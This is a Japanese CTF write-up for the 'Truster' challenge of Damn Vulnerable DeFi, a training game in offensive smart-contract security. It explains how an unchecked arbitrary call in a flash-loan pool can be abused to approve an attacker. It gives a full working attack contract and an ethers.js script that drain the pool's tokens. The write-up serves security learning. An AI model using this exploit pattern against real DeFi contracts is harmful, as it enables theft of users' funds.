概要#
Damn Vulnerable DeFi は、イーサリアム DeFi スマートコントラクトの攻撃的なセキュリティを学ぶための CTF ゲームです。
このゲームでは、フラッシュローン、プライスオラクル、ガバナンス、非代替可能トークン(NFT)、分散型取引所(DEX)、レンディングプール、スマートコントラクトウォレット、タイムロックなど、さまざまな DeFi シナリオがカバーされています。
このような CTF スタイルの問題は、初心者が solidity/ethers.js の開発を学ぶのに非常に適しています。
チャレンジの説明ウェブサイト:https://www.damnvulnerabledefi.xyz/
チャレンジのソースコードアドレス:https://github.com/tinchoabbate/damn-vulnerable-defi
Truster#
問題の説明:
ますます多くのレンディングプールがフラッシュローンを提供しています。この場合、新しいプールが DVT トークンのフラッシュローンを無料で提供しています。
プールには 100 万 DVT トークンがあります。あなたは何も持っていません。
このチャレンジをクリアするには、プールからすべてのトークンを取り出してください。可能な場合は、1 つのトランザクションで行ってください。
解説#
私たちの目標は、1 つのトランザクションでプールからすべてのトークンを取り出すことです。
まず、プールのスマートコントラクトを見てみましょう。
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();
return true;
}
上記のフラッシュローンでは、トークンを貸し出した後、target.functionCall(data)
を使用して、ユーザーが渡した calldata を呼び出しています。
この点を利用して攻撃を行うことができます。target.functionCall(data)
を使用して、トークンを攻撃用のコントラクトに Approve し、フラッシュローンが終了した後に Approve 済みの結果を利用してトークンの転送を行うことができます。
解答#
攻撃用コントラクト:AttackTruster.sol
import "../truster/TrusterLenderPool.sol";
contract AttackTruster {
TrusterLenderPool _truster;
DamnValuableToken public immutable _token;
constructor(address truster, address tokenAddress) {
_truster = TrusterLenderPool(truster);
_token = DamnValuableToken(tokenAddress);
}
function attack(uint256 amount, address borrower, address target, bytes calldata data) external {
_truster.flashLoan(amount, borrower, target, data);
_token.transferFrom(address(_truster), msg.sender, _token.balanceOf(address(_truster)));
}
}
it('Execution', async function () {
attackContract = await (await ethers.getContractFactory('AttackTruster', player)).deploy(pool.address, token.address);
const abi = ["function approve(address spender, uint256 amount)"];
const iface = new ethers.utils.Interface(abi);
const data = iface.encodeFunctionData("approve", [attackContract.address, TOKENS_IN_POOL]);
await attackContract.attack(0, player.address, token.address, data);
});
完全な解答のアドレス:https://github.com/fenghaojiang/damn-vulnerable-defi